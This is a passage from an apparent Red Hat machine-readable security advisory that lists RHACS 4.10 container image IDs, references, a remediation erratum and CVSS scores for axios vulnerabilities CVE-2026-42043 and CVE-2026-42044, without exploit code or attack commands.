"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42043"
},
{
"category": "external",
"summary": "RHBZ#2461626",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2461626"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42043"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
}
],
"release_date": "2026-04-24T17:54:42.668000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T11:34:12+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20889"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: NO_PROXY bypass via crafted URL"
},
{
"cve": "CVE-2026-42044",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-04-24T19:01:13.418725+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
